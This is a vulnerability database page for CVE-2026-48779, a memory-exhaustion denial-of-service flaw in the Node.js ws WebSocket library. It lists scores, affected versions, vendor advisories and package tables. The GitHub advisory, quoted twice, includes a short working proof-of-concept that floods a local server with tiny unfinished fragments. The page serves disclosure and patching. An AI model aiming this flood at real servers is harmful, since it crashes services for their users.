CVE-2026-48779
ws: Memory exhaustion DoS from tiny fragments and data chunks
ws is an open source WebSocket client and server for Node.js. All versions from 1.1.0 up to (but not including) 5.2.5, from 6.0.0 up to 6.2.4, from 7.0.0 up to 7.5.11, and from 8.0.0 up to 8.21.0 are affected by a memory exhaustion DoS vulnerability. A peer can send a high volume of exceptionally small fragments and data chunks, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM. This issue has been fixed in versions 5.2.5, 6.2.4, 7.5.11, and 8.21.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
7.5
ws: Memory exhaustion DoS from tiny fragments and data chunks
ws is an open source WebSocket client and server for Node.js. All versions from 1.1.0 up to (but not including) 5.2.5, from 6.0.0 up to 6.2.4, from 7.0.0 up to 7.5.11, and from 8.0.0 up to 8.21.0 are affected by a memory exhaustion DoS vulnerability. A peer can send a high volume of exceptionally small fragments and data chunks, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM. This issue has been fixed in versions 5.2.5, 6.2.4, 7.5.11, and 8.21.0.
- Record
CVE-2026-48779- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-400, CWE-770, CWE-1050
- Updated
- 2026-11-02
EUVDEUVD-2026-37504
7.5
ws is an open source WebSocket client and server for Node.js. All versions from 1.1.0 up to (but not including) 5.2.5, from 6.0.0 up to 6.2.4, from 7.0.0 up to 7.5.11, and from 8.0.0 up to 8.21.0 are affected by a memory exhaustion DoS vulnerability. A peer can send a high volume of exceptionally small fragments and data chunks, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM. This issue has been fixed in versions 5.2.5, 6.2.4, 7.5.11, and 8.21.0.
- Record
EUVD-2026-37504- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-96hv-2xvq-fx4p
7.5
ws: Memory exhaustion DoS from tiny fragments and data chunks
Impact
A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.
Proof of concept
import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(`ws://localhost:${port}`);
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(`client close - code: ${code} reason: ${reason.toString()}`);
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(`server close - code: ${code} reason: ${reason.toString()}`);
});
});
Patches
The vulnerability was fixed in [email protected] (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to [email protected] (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), [email protected] (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and [email protected] (https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53).
Workarounds
In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.
Credits
The vulnerability was responsibly disclosed and fixed by Nadav Magier.
- Record
GHSA-96hv-2xvq-fx4p- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-400, CWE-770, CWE-1050
- Updated
- 2026-11-02
NVD
7.5
ws is an open source WebSocket client and server for Node.js. All versions from 1.1.0 up to (but not including) 5.2.5, from 6.0.0 up to 6.2.4, from 7.0.0 up to 7.5.11, and from 8.0.0 up to 8.21.0 are affected by a memory exhaustion DoS vulnerability. A peer can send a high volume of exceptionally small fragments and data chunks, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM. This issue has been fixed in versions 5.2.5, 6.2.4, 7.5.11, and 8.21.0.
- Record
CVE-2026-48779- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-400, CWE-770, CWE-1050
- Updated
- 2026-11-02
OSV
7.5
ws: Memory exhaustion DoS from tiny fragments and data chunks
ws is an open source WebSocket client and server for Node.js. All versions from 1.1.0 up to (but not including) 5.2.5, from 6.0.0 up to 6.2.4, from 7.0.0 up to 7.5.11, and from 8.0.0 up to 8.21.0 are affected by a memory exhaustion DoS vulnerability. A peer can send a high volume of exceptionally small fragments and data chunks, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM. This issue has been fixed in versions 5.2.5, 6.2.4, 7.5.11, and 8.21.0.
- Record
CVE-2026-48779- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-400, CWE-770
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2026-48779
7.5
ws is an open source WebSocket client and server for Node.js. All versions from 1.1.0 up to (but not including) 5.2.5, from 6.0.0 up to 6.2.4, from 7.0.0 up to 7.5.11, and from 8.0.0 up to 8.21.0 are affected by a memory exhaustion DoS vulnerability. A peer can send a high volume of exceptionally small fragments and data chunks, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM. This issue has been fixed in versions 5.2.5, 6.2.4, 7.5.11, and 8.21.0.
- Record
DEBIAN-CVE-2026-48779- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
Show 41 moreShow less
OSVGHSA-96hv-2xvq-fx4p
7.5
ws: Memory exhaustion DoS from tiny fragments and data chunks
Impact
A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.
Proof of concept
import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(`ws://localhost:${port}`);
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(`client close - code: ${code} reason: ${reason.toString()}`);
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(`server close - code: ${code} reason: ${reason.toString()}`);
});
});
Patches
The vulnerability was fixed in [email protected] (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to [email protected] (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), [email protected] (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and [email protected] (https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53).
Workarounds
In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.
Credits
The vulnerability was responsibly disclosed and fixed by Nadav Magier.
- Record
GHSA-96hv-2xvq-fx4p- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-1050, CWE-400, CWE-770
- Updated
- 2026-11-02
OSVRHSA-2026:57590
8.6
Red Hat Security Advisory: rh-podman-desktop security, bug fix, and enhancement update
- Record
RHSA-2026:57590- CVSS 3.1
- 8.6 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N - Updated
- 2026-11-02
OSVROOT-APP-NPM-CVE-2026-48779
7.5
CVE-2026-48779 in ws - Patched by Root
Root has patched CVE-2026-48779 in the ws package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-CVE-2026-48779- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-06
OSVUBUNTU-CVE-2026-48779
7.5
ws is an open source WebSocket client and server for Node.js. All versions from 1.1.0 up to (but not including) 5.2.5, from 6.0.0 up to 6.2.4, from 7.0.0 up to 7.5.11, and from 8.0.0 up to 8.21.0 are affected by a memory exhaustion DoS vulnerability. A peer can send a high volume of exceptionally small fragments and data chunks, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM. This issue has been fixed in versions 5.2.5, 6.2.4, 7.5.11, and 8.21.0.
- Record
UBUNTU-CVE-2026-48779- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVAZL-91415 No score
CVE-2026-48779 affecting package js-jquery 3.5.0-4
ws is an open source WebSocket client and server for Node.js. All versions from 1.1.0 up to (but not including) 5.2.5, from 6.0.0 up to 6.2.4, from 7.0.0 up to 7.5.11, and from 8.0.0 up to 8.21.0 are affected by a memory exhaustion DoS vulnerability. A peer can send a high volume of exceptionally small fragments and data chunks, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM. This issue has been fixed in versions 5.2.5, 6.2.4, 7.5.11, and 8.21.0.
- Record
AZL-91415- Updated
- 2026-11-05
OSVCLSA-2026-1784769503 No score
TuxCare security update for ws (1 CVE)
TuxCare rebuilt ws to address 1 CVE. Fixed in 8.20.0-tuxcare.2.
- Record
CLSA-2026-1784769503- Updated
- 2026-11-02
OSVCLSA-2026-1784769533 No score
TuxCare security update for ws (1 CVE)
TuxCare rebuilt ws to address 1 CVE. Fixed in 8.18.0-tuxcare.2.
- Record
CLSA-2026-1784769533- Updated
- 2026-11-02
OSVCLSA-2026-1784769619 No score
TuxCare security update for ws (1 CVE)
TuxCare rebuilt ws to address 1 CVE. Fixed in 4.1.0-tuxcare.2.
- Record
CLSA-2026-1784769619- Updated
- 2026-11-02
OSVCLSA-2026-1784856221 No score
TuxCare security update for ws (1 CVE)
TuxCare rebuilt ws to address 1 CVE. Fixed in 3.3.3-tuxcare.2.
- Record
CLSA-2026-1784856221- Updated
- 2026-11-02
OSVCLSA-2026-1785117461 No score
TuxCare security update for ws (1 CVE)
TuxCare rebuilt ws to address 1 CVE. Fixed in 1.1.1-tuxcare.2.
- Record
CLSA-2026-1785117461- Updated
- 2026-11-02
OSVCLSA-2026-1785117464 No score
TuxCare security update for ws (1 CVE)
TuxCare rebuilt ws to address 1 CVE. Fixed in 1.1.2-tuxcare.3.
- Record
CLSA-2026-1785117464- Updated
- 2026-11-02
OSVCLSA-2026-1785204342 No score
TuxCare security update for ws (1 CVE)
TuxCare rebuilt ws to address 1 CVE. Fixed in 8.16.0-tuxcare.1.
- Record
CLSA-2026-1785204342- Updated
- 2026-11-02
OSVCLSA-2026-1785204343 No score
TuxCare security update for ws (1 CVE)
TuxCare rebuilt ws to address 1 CVE. Fixed in 7.5.9-tuxcare.1.
- Record
CLSA-2026-1785204343- Updated
- 2026-11-02
OSVCLSA-2026-1785204378 No score
TuxCare security update for ws (1 CVE)
TuxCare rebuilt ws to address 1 CVE. Fixed in 6.2.1-tuxcare.1.
- Record
CLSA-2026-1785204378- Updated
- 2026-11-02
OSVCLSA-2026-1788560406 No score
TuxCare security update for ws (3 CVEs)
TuxCare rebuilt ws to address 3 CVEs. Fixed in 8.13.0-tuxcare.1.
- Record
CLSA-2026-1788560406- Updated
- 2026-11-02
OSVCLSA-2026-1788560420 No score
TuxCare security update for ws (3 CVEs)
TuxCare rebuilt ws to address 3 CVEs. Fixed in 7.4.5-tuxcare.1.
- Record
CLSA-2026-1788560420- Updated
- 2026-11-02
OSVCLSA-2026-1788560439 No score
TuxCare security update for ws (3 CVEs)
TuxCare rebuilt ws to address 3 CVEs. Fixed in 6.0.0-tuxcare.1.
- Record
CLSA-2026-1788560439- Updated
- 2026-11-02
OSVCLSA-2026-1790161419 No score
TuxCare security update for ws (1 CVE)
TuxCare rebuilt ws to address 1 CVE. Fixed in 6.2.3-tuxcare.1.
- Record
CLSA-2026-1790161419- Updated
- 2026-11-02
OSVCLSA-2026-1790161463 No score
TuxCare security update for ws (2 CVEs)
TuxCare rebuilt ws to address 2 CVEs. Fixed in 8.11.0-tuxcare.1.
- Record
CLSA-2026-1790161463- Updated
- 2026-11-02
OSVCLSA-2026-1790164081 No score
TuxCare security update for ws (2 CVEs)
TuxCare rebuilt ws to address 2 CVEs. Fixed in 8.5.0-tuxcare.1.
- Record
CLSA-2026-1790164081- Updated
- 2026-11-02
OSVCLSA-2026-1790164156 No score
TuxCare security update for ws (2 CVEs)
TuxCare rebuilt ws to address 2 CVEs. Fixed in 6.2.2-tuxcare.1.
- Record
CLSA-2026-1790164156- Updated
- 2026-11-02
OSVCLSA-2026-1790174669 No score
TuxCare security update for ws (2 CVEs)
TuxCare rebuilt ws to address 2 CVEs. Fixed in 8.2.3-tuxcare.1.
- Record
CLSA-2026-1790174669- Updated
- 2026-11-02
OSVCLSA-2026-1790541916 No score
TuxCare security update for ws (2 CVEs)
TuxCare rebuilt ws to address 2 CVEs. Fixed in 8.18.3-tuxcare.1.
- Record
CLSA-2026-1790541916- Updated
- 2026-11-02
OSVCLSA-2026-1790541935 No score
TuxCare security update for ws (2 CVEs)
TuxCare rebuilt ws to address 2 CVEs. Fixed in 8.17.1-tuxcare.1.
- Record
CLSA-2026-1790541935- Updated
- 2026-11-02
OSVCLSA-2026-1790776603 No score
TuxCare security update for ws (2 CVEs)
TuxCare rebuilt ws to address 2 CVEs. Fixed in 7.5.3-tuxcare.1.
- Record
CLSA-2026-1790776603- Updated
- 2026-11-02
OSVCLSA-2026-1792163981 No score
TuxCare security update for ws (2 CVEs)
TuxCare rebuilt ws to address 2 CVEs. Fixed in 2.3.1-tuxcare.1.
- Record
CLSA-2026-1792163981- Updated
- 2026-11-02
OSVCLSA-2026-1792164080 No score
TuxCare security update for ws (1 CVE)
TuxCare rebuilt ws to address 1 CVE. Fixed in 7.5.10-tuxcare.1.
- Record
CLSA-2026-1792164080- Updated
- 2026-11-02
OSVCLSA-2026-1792164186 No score
TuxCare security update for ws (3 CVEs)
TuxCare rebuilt ws to address 3 CVEs. Fixed in 7.4.3-tuxcare.1.
- Record
CLSA-2026-1792164186- Updated
- 2026-11-02
OSVCLSA-2026-1792443025 No score
TuxCare security update for ws (3 CVEs)
TuxCare rebuilt ws to address 3 CVEs. Fixed in 7.4.0-tuxcare.1.
- Record
CLSA-2026-1792443025- Updated
- 2026-11-02
OSVCLSA-2026-1792448229 No score
TuxCare security update for ws (2 CVEs)
TuxCare rebuilt ws to address 2 CVEs. Fixed in 8.18.2-tuxcare.1.
- Record
CLSA-2026-1792448229- Updated
- 2026-11-02
OSVCLSA-2026-1793112519 No score
TuxCare security update for ws (3 CVEs)
TuxCare rebuilt ws to address 3 CVEs. Fixed in 6.1.4-tuxcare.1.
- Record
CLSA-2026-1793112519- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:11123-1 No score
jupyter-nbclassic-1.3.3-2.1 on GA media
These are all security issues fixed in the jupyter-nbclassic-1.3.3-2.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:11123-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:11137-1 No score
python311-jupyter-ydoc-3.5.0-1.1 on GA media
These are all security issues fixed in the python311-jupyter-ydoc-3.5.0-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:11137-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:11138-1 No score
jupyter-jupyterlab-templates-0.5.3-2.1 on GA media
These are all security issues fixed in the jupyter-jupyterlab-templates-0.5.3-2.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:11138-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:11145-1 No score
heroic-games-launcher-2.22.0-3.1 on GA media
These are all security issues fixed in the heroic-games-launcher-2.22.0-3.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:11145-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:11354-1 No score
jupyter-matplotlib-0.11.7-18.1 on GA media
These are all security issues fixed in the jupyter-matplotlib-0.11.7-18.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:11354-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:11397-1 No score
jupyter-bqplot-jupyterlab-0.5.46-15.1 on GA media
These are all security issues fixed in the jupyter-bqplot-jupyterlab-0.5.46-15.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:11397-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:11452-1 No score
agama-integration-tests-1785848065.5562c7c-4.1 on GA media
These are all security issues fixed in the agama-integration-tests-1785848065.5562c7c-4.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:11452-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:11705-1 No score
kimi-code-0.41.0-1.1 on GA media
These are all security issues fixed in the kimi-code-0.41.0-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:11705-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:21173-1 No score
Security update for python-pydata-sphinx-theme
This update for python-pydata-sphinx-theme fixes the following issues:
Changes in python-pydata-sphinx-theme:
-
Refresh js dependencies:
- ws to 7.5.11 (bsc#1268957, CVE-2026-48779)
-
Refresh vendored tarball (CVE-2026-6321, bsc#1264374)
- Record
openSUSE-SU-2026:21173-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:21849-1 No score
Security update for kimi-code
This update for kimi-code fixes the following issues:
Changes in kimi-code:
Update to version 0.42.0:
- Add an experimental Updates panel with paginated progress messages from the main agent and subagents, enabled with KIMI_CODE_EXPERIMENTAL_NOTIFY_USER=1
- Turn the subagent model pool, Remote Control and the minidb session-index read model with the global search worker always on; their experimental flags and opt-out variables are gone, search persistence is now tuned via the [database] section
- Give tower worker and reviewer briefings the full mission context, follow the subagent timeout for tower agents, and show each background agent's model in /tasks
- Retrieve file search matches beyond the first 100 results, accept HEIC, HEIF and BMP images with Kimi-served models, and warn in kimi -p when project MCP servers are skipped in an untrusted folder
- Read files with configurable character limits and resumable long-line reads, decode malformed UTF-16 with a warning, and preserve image and video filenames in session history
- Rework the dashboard: deletable sessions, reorderable media rail, collapsed tool calls revealed with Ctrl-O, and less jank on long conversations and session reloads
Update to version 0.41.0:
- Add experimental tower mode for multi-agent orchestration and Remote Control for reaching a local web session remotely
- Add the WaitFor tool so the agent can wait for a background task inside the current turn, and an optional fork parameter that starts a subagent from a snapshot of the caller's history
- Support two OAuth login methods, kimi.ai and kimi.com, and activate several skills in one prompt
- Enable the subagent model pool in every launch mode by default and make turn-level file history unconditional
- Add a dangerous-command guard that always asks before shutdown, reboot or rm -rf in manual and YOLO permission modes, disabled with [permission] dangerous_command_guard; auto mode never blocks
- Remove kimi web --allow-remote-terminals; PTY terminal routes are served on loopback binds only
- Require Edit and Write to read a file first, and reject a write when the file changed on disk since that read
- Rework the bundled web dashboard: multi-tab right sidebar, Open/Done/Workspaces session tabs, a plugin marketplace panel and mobile bottom sheets
- ... see upstream's release notes for the full list
- Vendor the runtime dependencies upstream stopped inlining in
0.39.0:
- Add ws, qrcode and qrcode's own pngjs and dijkstrajs as sources, installed into the package's private node_modules
- Unpack the npm tarball directly instead of running npm install, which would resolve the new dependencies against the registry and pull in qrcode's CLI-only yargs tree
- Declare the vendored trees with Provides: bundled(...)
- CVE-2026-48779: ws denial of service from a high volume of tiny WebSocket fragments; the ws inlined in the old bundle predated the 8.21.0 fix, the vendored ws is 8.21.3 (boo#1268927)
- CVE-2026-45736: ws uninitialized memory disclosure via websocket.close() with a TypedArray, fixed by the same ws version (boo#1269951)
- Load the compiled node-pty addon during the build check as well
- Record
openSUSE-SU-2026:21849-1- Updated
- 2026-11-02
Affected products
- websockets ws
- ws project ws
- red hat cluster observability operator 1.5.0
- red hat cryostat 4
- red hat cryostat 4 on rhel 9
- red hat gatekeeper 3
- red hat node healthcheck operator
- red hat openshift lightspeed
- red hat openshift pipelines
- red hat openshift service mesh 3
- red hat amq broker 7.13.6
- red hat amq broker 7.14.1
Show 38 moreShow less
- red hat ansible automation platform 2
- red hat build of apache camel - hawtio 4
- red hat build of apache camel for spring boot 4
- red hat build of keycloak
- red hat build of podman desktop
- red hat build of podman desktop - tech preview
- red hat connectivity link 1
- red hat data grid 8
- red hat developer hub 1.10
- red hat developer hub 1.9
- red hat discovery 2
- red hat enterprise linux 10
- red hat enterprise linux 8
- red hat enterprise linux 9
- red hat enterprise linux ai (rhel ai) 3
- red hat fuse 7
- red hat hardened images
- red hat jboss enterprise application platform 8
- red hat jboss enterprise application platform expansion pack
- red hat migration toolkit 1.8
- red hat openshift ai (rhoai)
- red hat openshift ai 2.25
- red hat openshift ai 3.4
- red hat openshift container platform 4
- red hat openshift data foundation 4.18
- red hat openshift data foundation 4.19
- red hat openshift data foundation 4.20
- red hat openshift dev spaces 3.29
- red hat openshift service mesh 2.6
- red hat openshift service mesh 3.0
- red hat openshift service mesh 3.1
- red hat openshift service mesh 3.2
- red hat openshift service mesh 3.3
- red hat openshift virtualization 4
- red hat quay 3
- red hat satellite 6
- red hat trusted artifact signer 1.4
- red hat self-service automation portal 2
Affected packages
| Package | Affected | Fixed |
|---|---|---|
wsnpm |
1.1.0 up to 5.2.5 | 5.2.5 |
wsnpm |
6.0.0 up to 6.2.4 | 6.2.4 |
wsnpm |
7.0.0 up to 7.5.11 | 7.5.11 |
wsnpm |
8.0.0 up to 8.21.0 | 8.21.0 |
js-jqueryAzure Linux:3 |
through 3.5.0-4 | None known |
wsTuxCare:npm |
8.20.0-tuxcare.0 up to 8.20.0-tuxcare.2, plus listed versions 8.20.08.20.0-tuxcare.1 |
8.20.0-tuxcare.2 |
wsTuxCare:npm |
8.18.0-tuxcare.0 up to 8.18.0-tuxcare.2, plus listed versions 8.18.08.18.0-tuxcare.1 |
8.18.0-tuxcare.2 |
wsTuxCare:npm |
4.1.0-tuxcare.0 up to 4.1.0-tuxcare.2, plus listed versions 4.1.04.1.0-tuxcare.1 |
4.1.0-tuxcare.2 |
wsTuxCare:npm |
3.3.3-tuxcare.0 up to 3.3.3-tuxcare.2, plus listed versions 3.3.33.3.3-tuxcare.1 |
3.3.3-tuxcare.2 |
wsTuxCare:npm |
1.1.1-tuxcare.0 up to 1.1.1-tuxcare.2, plus listed versions 1.1.11.1.1-tuxcare.1 |
1.1.1-tuxcare.2 |
Show 45 moreShow less
| Package | Affected | Fixed |
|---|---|---|
wsTuxCare:npm |
1.1.2-tuxcare.0 up to 1.1.2-tuxcare.3, plus listed versions 1.1.21.1.2-tuxcare.11.1.2-tuxcare.2 |
1.1.2-tuxcare.3 |
wsTuxCare:npm |
8.16.0-tuxcare.0 up to 8.16.0-tuxcare.1, plus listed versions 8.16.0 |
8.16.0-tuxcare.1 |
wsTuxCare:npm |
7.5.9-tuxcare.0 up to 7.5.9-tuxcare.1, plus listed versions 7.5.9 |
7.5.9-tuxcare.1 |
wsTuxCare:npm |
6.2.1-tuxcare.0 up to 6.2.1-tuxcare.1, plus listed versions 6.2.1 |
6.2.1-tuxcare.1 |
wsTuxCare:npm From an advisory covering 3 CVEs |
8.13.0-tuxcare.0 up to 8.13.0-tuxcare.1, plus listed versions 8.13.0 |
8.13.0-tuxcare.1 |
wsTuxCare:npm From an advisory covering 3 CVEs |
7.4.5-tuxcare.0 up to 7.4.5-tuxcare.1, plus listed versions 7.4.5 |
7.4.5-tuxcare.1 |
wsTuxCare:npm From an advisory covering 3 CVEs |
6.0.0-tuxcare.0 up to 6.0.0-tuxcare.1, plus listed versions 6.0.0 |
6.0.0-tuxcare.1 |
wsTuxCare:npm |
6.2.3-tuxcare.0 up to 6.2.3-tuxcare.1, plus listed versions 6.2.3 |
6.2.3-tuxcare.1 |
wsTuxCare:npm From an advisory covering 2 CVEs |
8.11.0-tuxcare.0 up to 8.11.0-tuxcare.1, plus listed versions 8.11.0 |
8.11.0-tuxcare.1 |
wsTuxCare:npm From an advisory covering 2 CVEs |
8.5.0-tuxcare.0 up to 8.5.0-tuxcare.1, plus listed versions 8.5.0 |
8.5.0-tuxcare.1 |
wsTuxCare:npm From an advisory covering 2 CVEs |
6.2.2-tuxcare.0 up to 6.2.2-tuxcare.1, plus listed versions 6.2.2 |
6.2.2-tuxcare.1 |
wsTuxCare:npm From an advisory covering 2 CVEs |
8.2.3-tuxcare.0 up to 8.2.3-tuxcare.1, plus listed versions 8.2.3 |
8.2.3-tuxcare.1 |
wsTuxCare:npm From an advisory covering 2 CVEs |
8.18.3-tuxcare.0 up to 8.18.3-tuxcare.1, plus listed versions 8.18.3 |
8.18.3-tuxcare.1 |
wsTuxCare:npm From an advisory covering 2 CVEs |
8.17.1-tuxcare.0 up to 8.17.1-tuxcare.1, plus listed versions 8.17.1 |
8.17.1-tuxcare.1 |
wsTuxCare:npm From an advisory covering 2 CVEs |
7.5.3-tuxcare.0 up to 7.5.3-tuxcare.1, plus listed versions 7.5.3 |
7.5.3-tuxcare.1 |
wsTuxCare:npm |
2.3.1-tuxcare.0 up to 2.3.1-tuxcare.1, plus listed versions 2.3.1 |
2.3.1-tuxcare.1 |
wsTuxCare:npm |
7.5.10-tuxcare.0 up to 7.5.10-tuxcare.1, plus listed versions 7.5.10 |
7.5.10-tuxcare.1 |
wsTuxCare:npm From an advisory covering 3 CVEs |
7.4.3-tuxcare.0 up to 7.4.3-tuxcare.1, plus listed versions 7.4.3 |
7.4.3-tuxcare.1 |
wsTuxCare:npm From an advisory covering 3 CVEs |
7.4.0-tuxcare.0 up to 7.4.0-tuxcare.1, plus listed versions 7.4.0 |
7.4.0-tuxcare.1 |
wsTuxCare:npm From an advisory covering 2 CVEs |
8.18.2-tuxcare.0 up to 8.18.2-tuxcare.1, plus listed versions 8.18.2 |
8.18.2-tuxcare.1 |
wsTuxCare:npm From an advisory covering 3 CVEs |
6.1.4-tuxcare.0 up to 6.1.4-tuxcare.1, plus listed versions 6.1.4 |
6.1.4-tuxcare.1 |
node-wsDebian:12 |
All versions, plus listed versions 8.11.0+~cs13.7.3-18.11.0+~cs13.7.3-28.18.0+~cs13.7.11-18.18.0+~cs14.5.15-18.18.1+~cs14.18.2-1 Show 5 moreShow less8.19.0+~cs14.19.1-18.20.1+~cs14.19.1-18.21.0+~cs14.19.1-18.21.1+~cs14.19.1-18.21.3+~cs14.19.1-1 |
None known |
node-wsDebian:13 |
All versions, plus listed versions 8.18.1+~cs14.18.2-18.19.0+~cs14.19.1-18.20.1+~cs14.19.1-18.21.0+~cs14.19.1-18.21.1+~cs14.19.1-18.21.3+~cs14.19.1-1 |
None known |
node-wsDebian:14 |
before 8.21.0+~cs14.19.1-1, plus listed versions 8.18.1+~cs14.18.2-18.19.0+~cs14.19.1-18.20.1+~cs14.19.1-1 |
8.21.0+~cs14.19.1-1 |
rh-podman-desktopRed Hat:enterprise_linux:10.2 From an advisory covering 24 CVEs |
before 0:1.1.2-1.el10_2 | 0:1.1.2-1.el10_2 |
wsRoot:npm |
before 6.2.2-aikido.2 | 6.2.2-aikido.25.2.4-aikido.18.17.1-aikido.28.18.0-aikido.28.18.2-aikido.28.19.0-aikido.28.20.0-aikido.27.5.10-aikido.18.13.0-aikido.18.18.1-aikido.28.20.1-aikido.18.13.0-aikido.26.2.3-aikido.18.17.1-aikido.38.18.3-aikido.28.14.2-aikido.17.5.9-aikido.18.6.0-aikido.18.11.0-aikido.17.5.5-aikido.18.5.0-aikido.18.2.3-aikido.17.5.5-aikido.25.2.3-aikido.17.5.8-aikido.17.5.7-aikido.17.5.8-aikido.27.5.7-aikido.2 |
@rootio/wsRoot:npm |
before 6.2.2-root.io.2 | 6.2.2-root.io.25.2.4-root.io.18.17.1-root.io.28.18.0-root.io.28.18.2-root.io.28.19.0-root.io.28.20.0-root.io.27.5.10-root.io.18.13.0-root.io.18.18.1-root.io.28.20.1-root.io.18.13.0-root.io.26.2.3-root.io.18.17.1-root.io.38.18.3-root.io.28.14.2-root.io.17.5.9-root.io.18.6.0-root.io.18.11.0-root.io.17.5.5-root.io.18.5.0-root.io.18.2.3-root.io.17.5.5-root.io.25.2.3-root.io.17.5.8-root.io.17.5.7-root.io.17.5.8-root.io.27.5.7-root.io.2 |
node-wsUbuntu:16.04:LTS |
All versions, plus listed versions 0.7.2+ds1.349b7460-11.0.1+ds1.e6ddaae4-1 |
None known |
node-wsUbuntu:18.04:LTS |
All versions, plus listed versions 1.1.0+ds1.e6ddaae4-3build11.1.0+ds1.e6ddaae4-3ubuntu1 |
None known |
node-wsUbuntu:20.04:LTS |
All versions, plus listed versions 1.1.0+ds1.e6ddaae4-57.2.1-27.2.1-3 |
None known |
node-wsUbuntu:22.04:LTS |
All versions, plus listed versions 7.4.2+~cs18.0.8-27.5.5+~cs13.0.13-18.5.0+~cs13.3.3-2 |
None known |
node-wsUbuntu:24.04:LTS |
All versions, plus listed versions 8.11.0+~cs13.7.3-18.11.0+~cs13.7.3-2 |
None known |
